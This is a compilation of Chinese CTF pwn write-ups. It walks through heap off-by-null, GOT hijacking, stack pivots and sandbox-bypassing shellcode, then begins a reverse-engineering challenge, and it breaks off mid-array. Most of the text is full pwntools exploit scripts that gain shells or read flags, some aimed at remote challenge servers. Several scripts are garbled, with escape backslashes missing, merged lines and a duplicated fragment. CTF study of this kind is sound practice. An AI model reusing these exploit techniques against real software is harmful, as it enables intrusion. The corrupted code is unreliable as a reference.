参考 https://bbs.pediy.com/thread-257901.htm 实现堆块复用,后面就是常规题目
保护
熟悉得菜单
write
这里有个稍稍复杂的机制。
在我们输入内容之后是一个’\x00’,紧接着后面会跟一个后面的数&0xf0再加后面函数的返回值。
后面函数是干嘛的。
会控制后面哪一个字节。
具体来说是后面一个字节的高四位不变,第四位是所有字节加起来之后,将每个四位的数字加起来,如果大于0xf就再来一次,知道小于0xf。
所以我们就可以控制下一个chunk的size的低四位。但是我们不可能让它等于0.
read
正常的输出
输出有判定条件,要求我们多出来的那个数字必须是1才可以输出,因为你看函数返回值&1之后要么为0,要么为1.v2不可能是0,所以v2必须是1,这就要求我们show的这个chunk没有溢出,没有其它的情况。
delete
看得到清理得还是很干净的。
我们的思路是这样的。
off by null 要么overlap,要么unlink。overlap的做法就是我们的house of einherjar
关于null我们可以两次释放申请一个fastbiin chunk,第一次修改最后一位为0,第二次再设置prev_size。
但是出问题了,报错。
看了一下源码,
2.29之后通过这个检查把这种house of ein就没了。
所以我们只能考虑unlink。
unlink需要泄露地址,泄露一个heap地址,或者程序基地址。
没想出来。
参考了NU1L的wp,大佬还是大佬。
问题出在show,show越界了。
它没有限制我们show的index为负数。我们可以尝试一下,当我们show一个负数的时候,可以泄露哪里的地址。
我们试图从address_array向上寻找。
便于我们查找的区间是有限的,因为序号负数的时候用的是chunk的address,我们可以控制的address_array是有限的,所以我们不能找太离谱的。
gdb调试往上调,我们发现了一个这样的地方。
1008那里,它有bss上的一个地址,而且离下面的address_array距离并不远,show(-11)就可以做到。
我们想拿到这个地址,那么我们需要show(-11),并且绕过一系列的检查。
首先第一个问题就是,我们的size_array在-11的地方有没有一个合适的值。
我们发现
size_array上面紧接着就是address_array,我们计算一下-11的size会在第23个chunk的高四个字节。
所以我们要首先申请够23个chunk。
申请chunk之后我们对应的show(-11)的size大小会在0x5555左右,我们就需要在那一块申请到地址,我们必须在那个地方留一个值,这样才能绕开show那里的检查,做到释放,所以申请的时候就申请大一点,然后里面的数据留‘\xff’或者其他的都可以。
剩下的爆破就行
到此呢我们做到了一个什么事情,我们可以得到程序的pie。
贴一下爆破的部分算了,剩下的就自己随便写了
from pwn import *
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")
def add(size, content):
r.sendlineafter(">> ", "1")
r.sendlineafter("size: ", str(size))
r.sendafter("content: ", content)
def show(index):
r.sendlineafter(">> ", "2")
r.sendlineafter("index: ", str(index))
def dele(index):
r.sendlineafter(">> ", "3")
r.sendlineafter("index: ", str(index))
while True:
try:
r = process('./baby_diary')
for i in range(22):
add(0x1000,'\xff'*0x1000)
add(0x7000000,'aaaa\n')
show(-11)
r.recvuntil('\x08')
break
except EOFError:
r.close()
continue
leak = u64(b'\x08' + r.recv(5) + b'\x00\x00') - 0x4008
gdb.attach(r)
input()
然后再去伪造chunk做一个unlink。但是别的师傅教会我另外一种方法。
它来自一篇博客。
2.29 off by null
它也是在伪造chunk,但是做法更复杂也更高级。
不需要泄露地址,伪造chunk的地址完全用large bin地址,用small bin地址,用了fastbin 地址。
我们这个题目根据题目特性,因为那个write函数的问题,做法跟他的有些出入。但是道理是一样的,大家可以去看看那个博客。
下面的图是我这里伪造好的chunk。
伪造好也是随便利用了。
EXP
# encoding:utf-8
from pwn import *
libc=ELF('./libc-2.31.so')def add(size,data='a'):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('ize: ')
p.sendline(str(size))
p.recvuntil('content: ')
p.sendline(str(data))
def show(id):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('dex: ')
p.sendline(str(id))
def delete(id):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('dex: ')
p.sendline(str(id))while True:
try:
p=remote('8.140.114.72',1399)
# p=process('./pwn')for i in range(8):
add(0x1f)
for i in range(7):
add(0x7f)
add(26639)
add(0x1f)
add(0x720-1)
add(0x70-1)
add(0x7f)
delete(17)
add(0x1010-1)
delete(20)
add(0x1f,('x01'*5).ljust(8,'x00')+p64(0x201))
for i in range(7):
delete(i)
for i in range(7):
add(0x20)
add(0x1f,'x60')
for i in range(7):
delete(i+8)
delete(19)
delete(21)
add(0x1018)
for i in range(7):
add(0x80)
add(0x80,p64(0)+'x60')
delete(22)
add(0x147,'x00'*0x140+p64(0))
delete(21)add(0x146,'x00'*0x138+'x01x01'.ljust(8,'x00'))
delete(23)
add(0xa0-1)show(21)
p.recvuntil("content: ")
leak_addr=u64(p.recv(6).ljust(8,'x00'))
libcbase=leak_addr-0x1ebbe0
system_addr=libcbase+libc.sym['system']
free_addr=libcbase+libc.sym['__free_hook']
delete(16)add(0x1f,p64(0)+p64(0x31))
delete(22)
delete(16)
add(0x1f,'a'*0x10+p64(free_addr))
add(0x1f,'/bin/shx00')
add(0x1f,p64(system_addr))
delete(22)p.interactive()
except Exception as e:
pass
from pwn import*
context.log_level = "debug"
r = process("./baby_diary")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")
def add(size, content):
r.sendlineafter(">> ", "1")
r.sendlineafter("size: ", str(size))
r.sendlineafter("content: ", content)
def show(index):
r.sendlineafter(">> ", "2")
r.sendlineafter("index: ", str(index))
def delete(index):
r.sendlineafter(">> ", "3")
r.sendlineafter("index: ", str(index))
for i in range(7):
add(0x38-1,'aaaa') # 0-6
add(0x98-1,"aaaa") #7 这里的大小的确立是想把fakechunk放在最后一个字节为0的地方。
add(0xb40, "largebin") #8
add(0x10, "aaaa") #9
delete(8)
add(0x1000, '') #8 ;chunk8 to largebin
add(0x38-1, '' ) # 10
# make fd->bk = fakechunk
# 切割largebin
add(0x38-1,'aaaa') #11
add(0x80,'aaaa') #12 能把chunk13放在最后一个字节\x00的地方
add(0x38-1, 'a') #13
add(0x38-1, 'b') #14
add(0x38-1, 'c') #15
add(0x38-1, 'd') #16
for i in range(7):
delete(i)
delete(15) #
delete(13) #0x600
# clear tcache
for i in range(7): # 0-6
add(0x38-1, '')
add(0x420,'aaaa') #13 fastbin to small bin
add(0x38-1,p64(0x50)) #15 0x600
# fakechunk size
delete(10)
add(0x38-1,'\x00'*7+'\x03'+p64(0x201)) #修改fake_chunk fd
# make bk->fd = fakechunk
# clear chunk from tcache
add(0x38-1, 'clear') #17
for i in range(7): #0-6
delete(i)
# free to fastbin
delete(11)
delete(10) #fake_chunk 0x4f0
for i in range(7): #0 - 6
add(0x38-1, '')
# change fake chunk's bk->fd
add(0x38-1, '')
# fake pre_inuse / prev_size
delete(16)
add(0x38-1,'\x00'*0x37) #11
delete(11)
add(0x38-1,'\x00'*0x2f+'\x20')
gdb.attach(r)
delete(13)
add(0x30, '')
add(0x20, '')
add(0x30, '')
show(12)
malloc_hook = (u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print "libc_base = " + hex(libc_base)
delete(17)
delete(15)
add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))
# add(0x30,"cat flag\x00")
add(0x30,'/bin/sh\x00') #17
add(0x30,p64(system_addr)) #19
delete(17)
r.interactive()
libc_base = " + hex(libc_base)
delete(17)
delete(15)
add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))
# add(0x30,"cat flag\x00")
add(0x30,'/bin/sh\x00') #17
add(0x30,p64(system_addr)) #19
delete(17)
r.interactive()
附件:
RELRO没都开,能劫持got,NX也没开,总得写点shellcode。
开了沙箱。
是个堆
只能申请两个chunk,但是好像有个序号可以越界。
show edit都丢了,只剩了一个free
free还挺干净
那所以我们就直接堆shellcode算了,直接数组越界,chunk地址直接写到got表,然后在那个chunk里面布置shellcode,从而劫持got表,来orw。
但是问题来了,chunk的大小限制在了0-8,也就是不会整个chunk大小不会超过0x20.能够输入大小不超过8,这就不能写shellcode。
然后我们看这个输入,我们发现……当输入0的时候,这个输入限制就绕过了……然后应该就成了。
exp
from pwn import*
import pwn
content.log_level='debug'def add(id,size,content):
p.recvuntil('choice >>n')
p.sendline('1')
p.recvuntil('ndex:n')
p.sendline(str(id))
p.recvuntil('size:n')
p.sendline(str(size))
p.recvuntil('content:n')
p.send(str(content))def delete(id):
p.recvuntil('choice >>n')
p.sendline('4')
p.recvuntil('ndex:n')
p.sendline(str(id))shellcode='''
mov r8, rdi
xor rsi,rsi
mov rdi ,r8
mov rax, 2
syscall
mov rdi, rax
mov rsi, r8
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rsi,r8
mov rdx, 0x30
mov rax, 1
syscall
'''
payload=pwn.asm(shellcode)
add(0,8,'./flagx00'+'n')
add(-25,'a',payload+'n')delete(0)
p.interactive()
from pwn import *
#p=process('./pwn')
p=remote("39.105.131.68","12354")
context(os='linux',arch='amd64')
shellcode='''
xor rax,rax
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rax,2 #open 调用号为2
mov rdi,0x67676c662f2e #为 galf/. 是./flag的相反
push rdi
mov rdi,rsp
syscall
mov rdx,0x100 #sys_read(3,file,0x100)
mov rsi,rdi
mov rdi,rax
mov rax,0 #read 调用号0
syscall
mov rdi,1 #sys_write(1,file,0x30)
mov rax,1 #write调用号是1
syscall
'''
p.recv()
p.sendline('1')
p.recvuntil('index')
p.sendline('-0xd')
p.recvuntil('size:')
p.sendline('0')
p.recvuntil('content')
p.sendline(asm(shellcode))
#gdb.attach(p)
p.sendline('5')
p.interactive()
漏洞
存在栈溢出:
思路
远程存在 real_flag.txt 读入后 unk_804C080 是 0x3
在 read(0, buf, 0x30u); 输入 x00 覆盖 unk_804C080 为 0x00 ,实现向 src 输入,输入对应内容进入 if 内
输入对应值后进入 if 内,配置了一个浮点数错误的 signal :在发生致命的算术运算错误时发出,不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术的错误。由于 v1 固定是 1 ,所以这种制造错误的方法 pass 。不一定要是被 0 除以。2 的补码 INT_MIN/-1 除法陷阱也行:
-2147483648/-1
产生错误之后跳转运行栈溢出函数
EXP
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']# p = process("./test")
p = remote("39.105.138.97",1234)
libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")
elf = ELF("./test")# gdb.attach(p,"b *0x80494c0")
# gdb.attach(p,"b *0x080492E2")
# gdb.attach(p,"b *0x0804925B")
# raw_input()p.send('x00'*2)
sleep(0.1)
p.send('./flag'.rjust(0x20,'a'))
sleep(0.2)
p.sendline("hello_boy")
sleep(0.2)
p.sendline("-2147483648")
sleep(0.2)
p.sendline("-1")bss = 0x0804c07c-2
payload = 'a'*0x48+'b'*0x4
# payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(0x0804C060+0x100)+p32(0x100)
payload += p32(elf.plt['open'])+p32(0x08049582)+p32(bss)+p32(0)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(4)+p32(0x0804C060+0x200)+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(elf.got['read'])+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(1)+p32(0x0804C060+0x200)+p32(0x100)
# payload += p32(0x0804944B)
p.sendline(payload)# gdb.attach(p,"b *0x080492E2")
# raw_input()
# p.send("./flagx00")
p.send('x30xfe')
sleep(0.2)
flag = p.recv(timeout=1)
print flag
# if '{' not in flag:
# p.close()
# return 0
p.interactive()
offbynull 造成堆块重叠,然后攻击 stdout 泄露 libc ,有沙盒限制系统调用
libc是2.27的
保护全开。
还开了沙箱。
你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。
经典增删改查。
add
最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。
delete
清理的很干净
edit
edit也看着没啥,里面有个函数,进去看看。
会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。
show
输出都点不大正常。首先发现它是前后四个字节分开的。
然后看一下那个输出函数。
加密的,好家伙
先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。
最后发现有个工具,z3(https://cloud.tencent.com/developer/article/1423409)
这些chunk都是因为沙箱提前开的一些。
总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。
off by null我们还是有两种思路,一种是unlink,一种是off by null。
unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。
都来写一下,首先时unlink。
先通过chunk的残留地址把libc,heap地址都泄露出来
我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。
这个是利用setcontext的对比图。
从这个地方开始就开始利用堆上提前写好的内容。
要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。
EXP
from pwn import*
# context.log_level='debbug'
elf=ELF('babypwn')
libc=ELF('./libc.so.6')
p=process('./babypwn',env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./babypwn')
def add(size):
p.recvuntil('>>> n')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))def edit(id,content):
p.recvuntil('>>> n')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(id))
p.recvuntil('content:')
p.send(str(content))
def delete(id):
p.recvuntil('>>> n')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(id))
def show(id):
p.recvuntil('>>> n')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(id))add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)for i in range(9,3,-3):
delete(i)
for i in range(7):
delete(10+i)delete(1)
delete(0)add(0x108)
edit(2,'b'*0xf0+p64(0)+p64(0x21))
edit(3,(p64(0)+p64(0x21))*7)
edit(0,'b'*0x108)
edit(0,'b'*0x100+p64(0x220))delete(3)
delete(2)add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)add(0x200)
add(0x100)
delete(6)
delete(5)
delete(3)
delete(0)edit(8,'a'*0x108+p64(0x110)+'x18x80')
edit(9,p64(0)+'x60xe7')
add(0x100)
add(0x100)
add(0x100)
payload=p64(0xfbad1887)+p64(0)*3+'x00'
edit(5,payload)
p.recvuntil('x00'*8)
lead_addr=u64(p.recv(8))
libc_base=lead_addr-(0x7ffff7dcf8b0-0x00007ffff79e2000)
delete(4)
delete(1)
delete(0)free_addr=libc_base+libc.sym['__free_hook']
edit(8,'a'*0x108+p64(0x110)+p64(free_addr))add(0x100)
add(0x100)
add(0x100)gadget=libc_base+0x520A5
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
poprdi=libc_base+0x000000000002155f
poprsi=libc_base+0x0000000000023e6a
poprdx=libc_base+0x0000000000001b96
flag=free_addr+0xb0
add=free_addrpayload=p64(gadget)+p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read_addr)
payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write_addr)edit(1,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi)+'./flag')
# gdb.attach(p)
# raw_input()
delete(1)p.interactive()
import os
import sys
import subprocess
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
elf_addr = "./babypwn"
pro_libc = "./libc.so.6"
# sh = remote("39.105.130.158",8888)
sh = process(elf_addr)
elf = ELF(elf_addr)
def add(size):
sh.recvuntil(">> \n")
sh.sendline("1")
sh.recvuntil("size:\n")
sh.sendline(str(size))
def show(idx):
sh.sendlineafter(">> \n","4")
sh.sendlineafter("index:\n",str(idx))
def edit(idx,content):
sh.sendlineafter(">> \n","3")
sh.sendlineafter("index:\n",str(idx))
sh.sendlineafter("content:\n",content)
def free(idx):
sh.sendlineafter(">> \n","2")
sh.sendlineafter("index:\n",str(idx))
def encode(a1):
d1 = (32*a1)&0xffffffff
d2 = d1^a1
d3 = d2>>17
d4 = ((d2 ^ d3) << 13)&0xffffffff
a1 ^= d1 ^ d3 ^ d4
d1 = (32*a1)&0xffffffff
d2 = d1^a1
d3 = d2>>17
d4 = ((d2 ^ d3) << 13)&0xffffffff
a1 ^= d1 ^ d3 ^ d4
return hex(a1)[2:]
def decode_1(a):
log.progress("decode_1")
for i in range(0x0, 0xff):
head = chr(i)+"\x7f\x00\x00"
if encode(u32(head))==str(a, encoding='utf-8'):
success("ok~ decode_1")
return head
def decode_2(a):
log.progress("decode_2")
for i1 in range(0x0, 0xff):
for i2 in range(0, 0xff):
for i3 in range(2, 0xff, 0x10):
last = "\x10"+chr(i3)+chr(i2)+chr(i1)
if encode(u32(last)) ==str(a, encoding='utf-8'):
success("ok~ decode_2")
return last
# off by null; overlaping 堆块向前合并
add(0xf8) #0
for i in range(7): #1-7
add(0xf8)
add(0x108) #8
add(0x108) #9
for i in range(1,8): #1-7
free(i)
free(0)
edit(8, b"a"*0x108)
edit(8, b"b"*0x100+p64(0x910))
edit(9, b"\x00"*0xf8+p64(0x11))
free(9)
for i in range(7): # 0-6
add(0xf8)
add(0x200) # idx_7 have idx_0-1
show(7)
a2 = sh.recv(8)
sh.recvuntil("\n")
a1 = sh.recv(8)
success("a1 => %s",a1)
success("a2 => %s",a2)
print(encode(0x7fff))
head = decode_1(a1)
last = decode_2(a2)
main_arena1488 = u64(last+head)
success("main_arena96 => 0x%x",main_arena1488)
libc_base = main_arena1488-1488-0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
setcontext = libc_base+libc.sym["setcontext"]
free(5)
free(6)
payload = flat([
"\x00"*0xf8,
p64(0x101)+p64(free_hook-8)
])
edit(7, payload)
add(0xf8)
add(0xf8)
shellcode = """
push 1
dec byte ptr [rsp]
mov rax, 0x7478742e67616c66
push rax
/* call open('rsp', 'O_RDONLY', 0) */
push 2 /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* O_RDONLY */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
mov r10d, 0x7fffffff
mov rsi, rax
push 40 /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall
"""
payload2 = flat(["/bin/sh\x00",
p64(setcontext + 53),
p64(free_hook + 0x10),
asm(shellcode)
])
edit(6, payload2)
frame = SigreturnFrame()
frame.rsp = free_hook + 0x8
frame.rdi = (free_hook) & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base+libc.sym['mprotect']
edit(7, bytes(frame))
free(7)
sh.interactive()
写 shellcode 题目。分类为禁用 write 和 system ,限制 shellcode 为可见字符串类型。禁用 write 思路和蓝帽杯 slient 思路一样,读取 flag 到内存中然后比较,爆破得出 flag 。限制可见字符串类型,参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。
https://www.codenong.com/cs105236336/
https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/
参考 https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/ 实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符
EXP
# encoding:utf-8
from pwn import *
from ae64 import AE64
# context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']file = context.binary = './shellcode'
obj = AE64()append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax/* read(fp,buf,0x70) */
/*mov eax,3*/
/*push 0x70*/
/*push ebx*/
/*push 3*/
/*int 0x80*/
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall'''
shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32')
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdipush 0x7e /*set rsi*/
pop rsipush 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdxpush 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8push rax /*set r9*/
pop r9/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],clpush 0x22 /*set rcx*/
/*pop rcx*/
pop r10push 0x40/*set rax*/
pop rax
xor al,0x49
syscall
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
syscall
'''shellcode_retfq = '''
push rbx
pop raxxor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
retfq
'''shellcode = ''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += appendshellcode += shellcode_retfq
shellcode += appendsc = obj.encode(asm(shellcode),'rbx')
#p=process(file)# gdb.attach(p,"b *0x40026D")
# gdb.attach(p,"b *0x7ffff7ff9102")
# raw_input()# p.send(sc)
# pause()
# p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag)
# print p.recv()
# p.interactive()def pwn(p, index, ch):
#gdb.attach(p,"b *0x40026D")
#pause()
p.send(sc)shellcode=''
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
p.sendline(shellcode_x86 + 0x29*'x90'+ shellcode_flag + asm(shellcode))
#print p.recv()
#p.interactive()
index = 0
a = []while True:
for ch in range(20, 127):
p = remote('39.105.137.118','50050')
# p=process(file)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
a.append(ch)
print("".join([chr(i) for i in a]))
break
else:
print("".join([chr(i) for i in a]))
break
index = index + 1print("".join([chr(i) for i in a]))
你不给输出咱wepn的pwn垃圾就是要打个输出出来, 不图别的, 诶, 就是玩儿~
检查一下程序, 发现是partial relro, 所以就想改got表, 在动态捣鼓了一段时间后发现, open函数和write函数只有倒数第一, 第二位是不同的, 于是就想修改open为write用于之后泄露, 而且还是no pie这不是乱打?
然后就是基本栈迁移, 找个好点的地给ebp和esp日后躺着, 我找的是差不多是0x804c00+0xa00, 至于为什么要再加上0xa00是因为如果不加, 日后system函数在执行的时候会将栈地址减到0x804b00左右, 而这地址不可写, 会在mov时报错
说了这么多奇奇怪怪的准备, 那么说说总思路, 两次输入’\x00’后进入第二个函数, 第二个函数分别输入int32 min和-1触发8号信号进入read, 之后先进行一次栈溢出到我们的fake stack地址, 同时输入后面要用gadget之类的东东, fake stack上再写入read(0, elf.got[‘open’], 0x100), 修改其为write, 之后维护好栈后再触发call open就相当于write(1, elf.got[‘read’], 0x4), 就泄露了地址, 后面再维护一下栈就可以getshell了
exp如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./test')
#sh=remote('39.105.138.97',1234)
elf=ELF("./test")
libc=elf.libc
context.log_level='debug'
context.arch='i386'
leave_ret=0x80491a5
ret_addr=0x0804900e
read_100_addr=0x08049236
def pwn():
sh.sendline('\x00'*1)
print str(proc.pidof(sh))
#gdb.attach(sh, '''b *0x080492a8''')
payload=p8(0)*2
#pause()
sh.sendline(payload)
sleep(1)
sh.sendline(str(-2147483648))
sh.sendline(str(-1))
payload1=p32(0)*0x12+p32(0x0804C0B0-4+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0b0-4+0xa00)+p32(0x1000)
payload2=p32(0x804c0c4+0xa00)+p32(0x804925b)+p32(0)+p32(elf.got['open'])+p32(0x100)+p32(leave_ret)+p32(0x804c0e0+0xa00)+p32(0x804936F)+p32(1)+p32(elf.got['read'])+p32(0x4)+p32(0)*2+p32(0x804c100+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0fc+0xa00)+p32(0x100)
sh.sendline(payload1)
#pause()
sh.sendline(payload2)
#pause()
sh.send(p16(0x4c90))
read_addr=u32(sh.recv())
log.success("read addr: "+hex(read_addr))
libc.address=read_addr-libc.sym['read']
log.success("system addr: "+hex(libc.sym['system']))
libc_base=read_addr-libc.sym['read']
sh.sendline(p32(0)+p32(0x804c200+0xa00)+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))
sh.interactive()
while True:
#sh=process('./test')
sh=remote('39.105.138.97',1234)
try:
pwn()
except:
sh.close()
libc2.31
堆溢出
配合对风水直接修改pipe->data, 实现任意地址修改,
漏洞主要是写入data的时候v1是有符号16位,
后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64,
这里的绕过可以在前面if (size <= v1) 使用v1为负数, 然后进入my_read 函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现配合堆风水,改掉对应的pipe->data位, 实现任意地址写
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","new-window"]
p = remote("59.110.173.239", 239)
#p = process("./pipeline"l)
libc = ELF("./libc-2.31.so")
def new():
p.recvuntil(">> ")
p.sendline("1")
def edit(index, size):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("offset: ")
p.sendline(str(0))
p.recvuntil("size: ")
p.sendline(str(size))
def destroy(index):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
def append(index, size, data):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("data: ")
p.sendline(data)
def show(index):
p.recvuntil(">> ")
p.sendline("5")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("data: ")new()
new()
new()
edit(0,0x68)
edit(1,0x68)
edit(0,0)
edit(1,0)edit(1,0x68)
edit(0,0x450)
#leak libc
edit(1,0x78)
edit(0,0)
edit(0,0x18)
show(0)
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - libc.symbols["__malloc_hook"] - 0x10 - 0x400
#getshell
new()
payload = b'b'*0x18 + p64(0x21)
payload += p64(libc_base + libc.symbols["__free_hook"])
payload += p32(0) + p32(0x100)
append(0, 0x80000100, payload)#gdb.attach(p)
append(3, 0x20, p64(libc_base + libc.symbols["system"]))
append(0, 0x20, '/bin/sh\x00')
edit(0,0)
log.info("libc_base------------------>"+hex(libc_base))
p.interactive()
附件:https://pan.baidu.com/s/1fU--SjhDX0QrB3b9nPsDEQ,提取码:subo
奇怪的思路,但也算是出了flag。
bdl_4020是一个double数组,内容是19个小数。
sub_13F3函数如图:
v3的初值是0.2021,但是在运行过程中修改成了0.000483
v3是一个递推的关系,递推公式是a n + 1 = e − n × a n a_{n+1}=e-n\times a_na
n+1
=e−n×a
n
用python简单的打一个表,可以发现v3初值无论为多少,经过80次左右的循环后,都会在正负无穷之间跳跃。
>>> v3 = [0.000483]
>>> for i in range(0x2021,0x2021+100):
v3.append(math.e-i*v3[-1])
>>> v3[-20:]
[-inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf]
v3是不收敛的,更不用说令v3等于double数组中的小数值。
多种尝试无果,于是尝试让a n 强行收敛试试,也就是令
即
化简得:
很奇怪但大家懂这意思就行
观察double数组中的值,e i \frac{e}{i}
i
e
的值都接近整数
>>> [math.e/i for i in dbl]
[27751.99996396786, 26466.999962218535,29564.999966177365,
24930.99995989091,24430.999959070075, 26981.999962939633,
24430.999959070075, 25960.999961482154, 24426.999959063374,
25965.99996148958, 24426.999959063374, 24939.999959905384,
24430.999959070075, 24932.99995989413, 24418.999959049965,
26996.999962960217, 24431.999959071745, 24941.999959908593,
32098.999968847354]
可以初步判断是正确的
于是把 的值作为flag内容
代码如下
from math import *
a = [0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,\
0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,\
0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,\
